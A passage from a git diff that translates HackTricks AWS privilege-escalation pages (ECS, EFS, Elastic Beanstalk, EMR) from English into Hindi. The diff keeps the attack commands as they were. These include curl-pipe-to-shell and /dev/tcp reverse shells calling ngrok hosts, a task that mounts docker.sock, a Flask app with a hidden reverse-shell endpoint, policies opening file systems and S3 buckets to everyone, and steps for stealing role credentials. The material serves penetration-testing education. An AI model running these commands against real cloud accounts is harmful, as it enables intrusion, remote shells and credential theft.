\"subnets\":[\"$SUBNET\"]}}" +--task-definition iam_exfiltration \ +--desired-count 1 \ +--cluster "$CLUSTER_ARN" \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" # Run the task updating a service aws ecs update-service --cluster \ - --service \ - --task-definition +--service \ +--task-definition ``` - -**Potential Impact:** Direct privesc to any ECS role. +**संभावित प्रभाव:** किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क। ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -Actually, just with those permissions it's possible to use overrides to executer arbitrary commands in a container with an arbitrary role with something like: - +वास्तव में, केवल उन अनुमतियों के साथ, यह ओवरराइड्स का उपयोग करके किसी कंटेनर में किसी भी भूमिका के साथ मनमाने आदेश निष्पादित करना संभव है जैसे: ```bash aws ecs run-task \ - --task-definition "" \ - --overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ - --cluster \ - --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" +--task-definition "" \ +--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ +--cluster \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` - -**Potential Impact:** Direct privesc to any ECS role. +**संभावित प्रभाव:** किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क। ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\ -This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\ -You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)). +यह परिदृश्य पिछले वाले के समान है लेकिन **`iam:PassRole`** अनुमति के **बिना**।\ +यह अभी भी दिलचस्प है क्योंकि यदि आप एक मनमाना कंटेनर चला सकते हैं, भले ही यह बिना भूमिका के हो, आप **नोड पर भागने के लिए एक विशेषाधिकार प्राप्त कंटेनर चला सकते हैं** और **EC2 IAM भूमिका** और **अन्य ECS कंटेनरों की भूमिकाएँ** चुरा सकते हैं जो नोड में चल रही हैं।\ +आप यहां तक कि **उन अन्य कार्यों को EC2 उदाहरण के अंदर चलाने के लिए मजबूर कर सकते हैं** जिसे आप समझौता करते हैं ताकि उनके क्रेडेंशियल्स चुरा सकें (जैसा कि [**नोड अनुभाग में प्रिवेस्क**](aws-ecs-privesc.md#privesc-to-node) में चर्चा की गई है)। > [!WARNING] -> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate. - +> यह हमला केवल तभी संभव है जब **ECS क्लस्टर EC2** उदाहरणों का उपयोग कर रहा हो और Fargate का नहीं। ```bash printf '[ - { - "name":"exfil_creds", - "image":"python:latest", - "entryPoint":["sh", "-c"], - "command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], - "mountPoints": [ - { - "readOnly": false, - "containerPath": "/var/run/docker.sock", - "sourceVolume": "docker-socket" - } - ] - } +{ +"name":"exfil_creds", +"image":"python:latest", +"entryPoint":["sh", "-c"], +"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], +"mountPoints": [ +{ +"readOnly": false, +"containerPath": "/var/run/docker.sock", +"sourceVolume": "docker-socket" +} +] +} ]' > /tmp/task.json printf '[ - { - "name": "docker-socket", - "host": { - "sourcePath": "/var/run/docker.sock" - } - } +{ +"name": "docker-socket", +"host": { +"sourcePath": "/var/run/docker.sock" +} +} ]' > /tmp/volumes.json aws ecs register-task-definition --family iam_exfiltration \ - --cpu 256 --memory 512 \ - --requires-compatibilities '["EC2"]' \ - --container-definitions file:///tmp/task.json \ - --volumes file:///tmp/volumes.json +--cpu 256 --memory 512 \ +--requires-compatibilities '["EC2"]' \ +--container-definitions file:///tmp/task.json \ +--volumes file:///tmp/volumes.json aws ecs run-task --task-definition iam_exfiltration \ - --cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ - --launch-type EC2 +--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ +--launch-type EC2 # You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell ``` - ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -An attacker with the **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** can **execute commands** inside a running container and exfiltrate the IAM role attached to it (you need the describe permissions because it's necessary to run `aws ecs execute-command`).\ -However, in order to do that, the container instance need to be running the **ExecuteCommand agent** (which by default isn't). +एक हमलावर के पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** होने पर वह **कमांड्स** को एक चल रहे कंटेनर के अंदर निष्पादित कर सकता है और इससे जुड़े IAM भूमिका को एक्सफिल्ट्रेट कर सकता है (आपको `aws ecs execute-command` चलाने के लिए विवरण अनुमतियों की आवश्यकता है)।\ +हालांकि, ऐसा करने के लिए, कंटेनर इंस्टेंस को **ExecuteCommand एजेंट** चला रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं होता)। -Therefore, the attacker cloud try to: - -- **Try to run a command** in every running container +इसलिए, हमलावर कोशिश कर सकता है: +- **हर चल रहे कंटेनर में एक कमांड चलाने की कोशिश करें** ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do - echo "Cluster $cluster" - for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do - echo " Task $task" - # If true, it's your lucky day - aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand - done +echo "Cluster $cluster" +for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do +echo " Task $task" +# If true, it's your lucky day +aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand +done done # Execute a shell in a container aws ecs execute-command --interactive \ - --command "sh" \ - --cluster "$CLUSTER_ARN" \ - --task "$TASK_ARN" +--command "sh" \ +--cluster "$CLUSTER_ARN" \ +--task "$TASK_ARN" ``` +- यदि उसके पास **`ecs:RunTask`** है, तो `aws ecs run-task --enable-execute-command [...]` के साथ एक कार्य चलाएँ। +- यदि उसके पास **`ecs:StartTask`** है, तो `aws ecs start-task --enable-execute-command [...]` के साथ एक कार्य चलाएँ। +- यदि उसके पास **`ecs:CreateService`** है, तो `aws ecs create-service --enable-execute-command [...]` के साथ एक सेवा बनाएँ। +- यदि उसके पास **`ecs:UpdateService`** है, तो `aws ecs update-service --enable-execute-command [...]` के साथ एक सेवा अपडेट करें। -- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]` -- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]` -- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]` -- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]` +आप **पिछले ECS privesc अनुभागों** में **इन विकल्पों के उदाहरण** पा सकते हैं। -You can find **examples of those options** in **previous ECS privesc sections**. - -**Potential Impact:** Privesc to a different role attached to containers. +**संभावित प्रभाव:** कंटेनरों से जुड़े एक अलग भूमिका में privesc। ### `ssm:StartSession` -Check in the **ssm privesc page** how you can abuse this permission to **privesc to ECS**: +देखें कि आप **ssm privesc पृष्ठ** में इस अनुमति का दुरुपयोग कैसे कर सकते हैं ताकि **ECS में privesc** हो सके: {{#ref}} aws-ssm-privesc.md @@ -198,7 +186,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -Check in the **ec2 privesc page** how you can abuse these permissions to **privesc to ECS**: +देखें कि आप **ec2 privesc पृष्ठ** में इन अनुमतियों का दुरुपयोग कैसे कर सकते हैं ताकि **ECS में privesc** हो सके: {{#ref}} aws-ec2-privesc.md @@ -206,30 +194,29 @@ aws-ec2-privesc.md ### `?ecs:RegisterContainerInstance` -TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker?? +TODO: क्या किसी अन्य AWS खाते से एक उदाहरण पंजीकृत करना संभव है ताकि कार्य उन मशीनों के तहत चलाए जाएँ जो हमलावर द्वारा नियंत्रित हैं?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: Test this - -An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**. +> TODO: इसका परीक्षण करें +जिस हमलावर के पास अनुमतियाँ `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` हैं, वह **एक मौजूदा ECS सेवा के लिए एक दुर्भावनापूर्ण कार्य सेट बना सकता है और प्राथमिक कार्य सेट को अपडेट कर सकता है**। इससे हमलावर को **सेवा के भीतर मनमाना कोड निष्पादित करने** की अनुमति मिलती है। ```bash bashCopy code# Register a task definition with a reverse shell echo '{ - "family": "malicious-task", - "containerDefinitions": [ - { - "name": "malicious-container", - "image": "alpine", - "command": [ - "sh", - "-c", - "apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" - ] - } - ] +"family": "malicious-task", +"containerDefinitions": [ +{ +"name": "malicious-container", +"image": "alpine", +"command": [ +"sh", +"-c", +"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" +] +} +] }' > malicious-task-definition.json aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json @@ -240,15 +227,10 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` +**संभावित प्रभाव**: प्रभावित सेवा में मनचाहा कोड निष्पादित करें, संभावित रूप से इसकी कार्यक्षमता को प्रभावित करते हुए या संवेदनशील डेटा को बाहर निकालते हुए। -**Potential Impact**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data. - -## References +## संदर्भ - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index 8a54b28d8..b66915f95 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -4,97 +4,83 @@ ## EFS -More **info about EFS** in: +EFS के बारे में अधिक **जानकारी**: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -Remember that in order to mount an EFS you need to be in a subnetwork where the EFS is exposed and have access to it (security groups). Is this is happening, by default, you will always be able to mount it, however, if it's protected by IAM policies you need to have the extra permissions mentioned here to access it. +याद रखें कि EFS को माउंट करने के लिए आपको उस उपनेटवर्क में होना चाहिए जहाँ EFS एक्सपोज़ किया गया है और आपके पास इसकी पहुँच होनी चाहिए (सुरक्षा समूह)। यदि ऐसा हो रहा है, तो डिफ़ॉल्ट रूप से, आप हमेशा इसे माउंट कर सकेंगे, हालाँकि, यदि इसे IAM नीतियों द्वारा सुरक्षित किया गया है, तो आपको इसे एक्सेस करने के लिए यहाँ उल्लेखित अतिरिक्त अनुमतियों की आवश्यकता होगी। ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -With any of those permissions an attacker can **change the file system policy** to **give you access** to it, or to just **delete it** so the **default access** is granted. - -To delete the policy: +इनमें से किसी भी अनुमति के साथ, एक हमलावर **फाइल सिस्टम नीति** को **बदल सकता है** ताकि आपको इसकी **पहुँच** मिल सके, या इसे **हटाने** के लिए ताकि **डिफ़ॉल्ट पहुँच** प्रदान की जा सके। +नीति को हटाने के लिए: ```bash aws efs delete-file-system-policy \ - --file-system-id +--file-system-id ``` - -To change it: - +इसे बदलने के लिए: ```json aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json // Give everyone trying to mount it read, write and root access // policy.json: { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", - "Statement": [ - { - "Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "elasticfilesystem:ClientRootAccess", - "elasticfilesystem:ClientWrite", - "elasticfilesystem:ClientMount" - ], - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", +"Statement": [ +{ +"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"elasticfilesystem:ClientRootAccess", +"elasticfilesystem:ClientWrite", +"elasticfilesystem:ClientMount" +], +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - ### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` -With this permission an attacker will be able to **mount the EFS**. If the write permission is not given by default to everyone that can mount the EFS, he will have only **read access**. - +इस अनुमति के साथ, एक हमलावर **EFS को माउंट** करने में सक्षम होगा। यदि लिखने की अनुमति डिफ़ॉल्ट रूप से सभी को नहीं दी गई है जो EFS को माउंट कर सकते हैं, तो उसके पास केवल **पढ़ने की अनुमति** होगी। ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` +The extra permissions `elasticfilesystem:ClientRootAccess` और `elasticfilesystem:ClientWrite` का उपयोग **write** करने के लिए किया जा सकता है जब यह फाइल सिस्टम माउंट किया गया हो और **access** करने के लिए उस फाइल सिस्टम को **root** के रूप में। -The extra permissions`elasticfilesystem:ClientRootAccess` and `elasticfilesystem:ClientWrite` can be used to **write** inside the filesystem after it's mounted and to **access** that file system **as root**. - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Potential Impact:** फाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क। ### `elasticfilesystem:CreateMountTarget` -If you an attacker is inside a **subnetwork** where **no mount target** of the EFS exists. He could just **create one in his subnet** with this privilege: - +यदि आप एक हमलावर हैं जो एक **subnetwork** के अंदर हैं जहाँ EFS का **कोई माउंट टारगेट** नहीं है। वह बस इस विशेषाधिकार के साथ **अपने सबनेट में एक बना सकता है**: ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ - --subnet-id \ - --security-groups +--subnet-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**संभावित प्रभाव:** फ़ाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क। ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -In a scenario where an attacker finds that the EFS has mount target in his subnetwork but **no security group is allowing the traffic**, he could just **change that modifying the selected security groups**: - +एक परिदृश्य में जहाँ एक हमलावर पाता है कि EFS का माउंट टारगेट उसके उपनेटवर्क में है लेकिन **कोई सुरक्षा समूह ट्रैफ़िक की अनुमति नहीं दे रहा है**, वह बस **चुनिंदा सुरक्षा समूहों को संशोधित करके उसे बदल सकता है**: ```bash aws efs modify-mount-target-security-groups \ - --mount-target-id \ - --security-groups +--mount-target-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**संभावित प्रभाव:** फ़ाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष विशेषाधिकार वृद्धि। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 613dd3a47..39213a6bd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -11,12 +11,11 @@ More **info about Elastic Beanstalk** in: {{#endref}} > [!WARNING] -> In order to perform sensitive actions in Beanstalk you will need to have a **lot of sensitive permissions in a lot of different services**. You can check for example the permissions given to **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Beanstalk में संवेदनशील क्रियाएँ करने के लिए आपको **कई विभिन्न सेवाओं में बहुत सारी संवेदनशील अनुमतियाँ** होनी चाहिए। आप उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** को दी गई अनुमतियों की जांच कर सकते हैं। -### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others - -With **write permissions over the S3 bucket** containing the **code** of the environment and permissions to **rebuild** the application (it's needed `elasticbeanstalk:RebuildEnvironment` and a few more related to `S3` , `EC2` and `Cloudformation`), you can **modify** the **code**, **rebuild** the app and the next time you access the app it will **execute your new code**, allowing the attacker to compromise the application and the IAM role credentials of it. +### `elasticbeanstalk:RebuildEnvironment`, S3 लिखने की अनुमतियाँ और कई अन्य +**पर्यावरण के कोड** वाले S3 बकेट पर **लिखने की अनुमतियों** और एप्लिकेशन को **पुनर्निर्माण** करने की अनुमतियों (इसके लिए `elasticbeanstalk:RebuildEnvironment` और `S3`, `EC2` और `Cloudformation` से संबंधित कुछ और की आवश्यकता है) के साथ, आप **कोड** को **संशोधित** कर सकते हैं, **ऐप** को पुनर्निर्माण कर सकते हैं और अगली बार जब आप ऐप तक पहुँचेंगे, तो यह **आपका नया कोड** **निष्पादित** करेगा, जिससे हमलावर को एप्लिकेशन और इसके IAM भूमिका क्रेडेंशियल्स को समझौता करने की अनुमति मिलती है। ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -31,56 +30,42 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247 # Rebuild env aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` +### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, और अधिक... -### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more... - -The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch. - -- Create an AWS Elastic Beanstalk application: +उल्लेखित और कई **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** और **`elasticloadbalancing`** अनुमतियाँ एक कच्चा Elastic Beanstalk परिदृश्य बनाने के लिए आवश्यक हैं। +- AWS Elastic Beanstalk एप्लिकेशन बनाएं: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` - -- Create an AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): - +- एक AWS Elastic Beanstalk वातावरण बनाएं ([**समर्थित प्लेटफ़ॉर्म**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` +यदि एक वातावरण पहले से ही बनाया गया है और आप **नया नहीं बनाना चाहते**, तो आप बस मौजूदा को **अपडेट** कर सकते हैं। -If an environment is already created and you **don't want to create a new one**, you could just **update** the existent one. - -- Package your application code and dependencies into a ZIP file: - +- अपने एप्लिकेशन कोड और निर्भरताओं को एक ZIP फ़ाइल में पैक करें: ```python zip -r MyApp.zip . ``` - -- Upload the ZIP file to an S3 bucket: - +- S3 बकेट में ZIP फ़ाइल अपलोड करें: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` - -- Create an AWS Elastic Beanstalk application version: - +- एक AWS Elastic Beanstalk एप्लिकेशन संस्करण बनाएं: ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` - -- Deploy the application version to your AWS Elastic Beanstalk environment: - +- अपने AWS Elastic Beanstalk वातावरण में एप्लिकेशन संस्करण को तैनात करें: ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` - ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -First of all you need to create a **legit Beanstalk environment** with the **code** you would like to run in the **victim** following the **previous steps**. Potentially a simple **zip** containing these **2 files**: +सबसे पहले, आपको **पीड़ित** में चलाने के लिए **कोड** के साथ एक **वैध Beanstalk वातावरण** बनाना होगा, जो **पिछले चरणों** का पालन करता है। संभावित रूप से इन **2 फ़ाइलों** को शामिल करने वाला एक साधारण **ज़िप**: {{#tabs }} {{#tab name="application.py" }} - ```python from flask import Flask, request, jsonify import subprocess,os, socket @@ -89,34 +74,32 @@ application = Flask(__name__) @application.errorhandler(404) def page_not_found(e): - return jsonify('404') +return jsonify('404') @application.route("/") def index(): - return jsonify('Welcome!') +return jsonify('Welcome!') @application.route("/get_shell") def search(): - host=request.args.get('host') - port=request.args.get('port') - if host and port: - s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) - s.connect((host,int(port))) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(["/bin/sh","-i"]) - return jsonify('done') +host=request.args.get('host') +port=request.args.get('port') +if host and port: +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) +s.connect((host,int(port))) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(["/bin/sh","-i"]) +return jsonify('done') if __name__=="__main__": - application.run() +application.run() ``` - {{#endtab }} {{#tab name="requirements.txt" }} - ``` click==7.1.2 Flask==1.1.2 @@ -125,44 +108,42 @@ Jinja2==2.11.3 MarkupSafe==1.1.1 Werkzeug==1.0.1 ``` - {{#endtab }} {{#endtabs }} -Once you have **your own Beanstalk env running** your rev shell, it's time to **migrate** it to the **victims** env. To so so you need to **update the Bucket Policy** of your beanstalk S3 bucket so the **victim can access it** (Note that this will **open** the Bucket to **EVERYONE**): - +एक बार जब आपके पास **अपना खुद का Beanstalk env चल रहा हो** आपका rev shell, तो इसे **शिकार** के env में **स्थानांतरित** करने का समय है। ऐसा करने के लिए, आपको अपने beanstalk S3 बकेट की **Bucket Policy** को **अपडेट** करना होगा ताकि **शिकार इसे एक्सेस कर सके** (ध्यान दें कि इससे **Bucket** **सभी के लिए** **खुल जाएगी**): ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "s3:ListBucket", - "s3:ListBucketVersions", - "s3:GetObject", - "s3:GetObjectVersion", - "s3:*" - ], - "Resource": [ - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" - ] - }, - { - "Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", - "Effect": "Deny", - "Principal": { - "AWS": "*" - }, - "Action": "s3:DeleteBucket", - "Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"s3:ListBucket", +"s3:ListBucketVersions", +"s3:GetObject", +"s3:GetObjectVersion", +"s3:*" +], +"Resource": [ +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" +] +}, +{ +"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", +"Effect": "Deny", +"Principal": { +"AWS": "*" +}, +"Action": "s3:DeleteBucket", +"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" +} +] } ``` @@ -181,9 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index 0025abe52..fc125323b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -4,7 +4,7 @@ ## EMR -More **info about EMR** in: +**EMR के बारे में अधिक जानकारी** यहाँ है: {{#ref}} ../aws-services/aws-emr-enum.md @@ -12,57 +12,51 @@ More **info about EMR** in: ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` -An attacker with these permissions can **run a new EMR cluster attaching EC2 roles** and try to steal its credentials.\ -Note that in order to do this you would need to **know some ssh priv key imported in the account** or to import one, and be able to **open port 22 in the master node** (you might be able to do this with the attributes `EmrManagedMasterSecurityGroup` and/or `ServiceAccessSecurityGroup` inside `--ec2-attributes`). - +इन अनुमतियों के साथ एक हमलावर **EC2 भूमिकाओं को संलग्न करते हुए एक नया EMR क्लस्टर चला सकता है** और इसके क्रेडेंशियल्स चुराने की कोशिश कर सकता है।\ +ध्यान दें कि ऐसा करने के लिए आपको **खाता में आयातित कुछ ssh प्राइवेट की के बारे में जानना होगा** या एक आयात करना होगा, और **मास्टर नोड में पोर्ट 22 खोलने में सक्षम होना होगा** (आप इसे `--ec2-attributes` के अंदर `EmrManagedMasterSecurityGroup` और/या `ServiceAccessSecurityGroup` के गुणों के साथ कर सकते हैं)। ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" chmod 400 /tmp/sshkey base64 /tmp/sshkey.pub > /tmp/pub.key aws ec2 import-key-pair \ - --key-name "privesc" \ - --public-key-material file:///tmp/pub.key +--key-name "privesc" \ +--public-key-material file:///tmp/pub.key aws emr create-cluster \ - --release-label emr-5.15.0 \ - --instance-type m4.large \ - --instance-count 1 \ - --service-role EMR_DefaultRole \ - --ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc +--release-label emr-5.15.0 \ +--instance-type m4.large \ +--instance-count 1 \ +--service-role EMR_DefaultRole \ +--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc # Wait 1min and connect via ssh to an EC2 instance of the cluster) aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` +नोट करें कि एक **EMR भूमिका** `--service-role` में निर्दिष्ट की गई है और एक **ec2 भूमिका** `--ec2-attributes` में `InstanceProfile` के अंदर निर्दिष्ट की गई है। हालांकि, यह तकनीक केवल EC2 भूमिका क्रेडेंशियल्स को चुराने की अनुमति देती है (क्योंकि आप ssh के माध्यम से कनेक्ट करेंगे) लेकिन EMR IAM भूमिका नहीं। -Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role. - -**Potential Impact:** Privesc to the EC2 service role specified. +**संभावित प्रभाव:** निर्दिष्ट EC2 सेवा भूमिका के लिए प्रिवेस्क। ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` -With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role. +इन अनुमतियों के साथ, एक हमलावर **AWS कंसोल** में जा सकता है, एक नोटबुक बना सकता है और IAM भूमिका को चुराने के लिए इसका उपयोग कर सकता है। > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role 